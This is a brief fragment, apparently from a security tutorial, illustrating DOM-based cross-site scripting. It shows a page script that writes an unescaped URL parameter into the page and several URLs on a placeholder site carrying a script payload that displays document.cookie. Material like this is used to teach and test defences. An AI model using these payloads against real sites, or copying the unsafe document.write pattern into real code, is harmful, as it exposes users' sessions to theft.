http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

<script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script>

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

http://www.some.site/page.html#default=<script>alert(document.cookie)</script>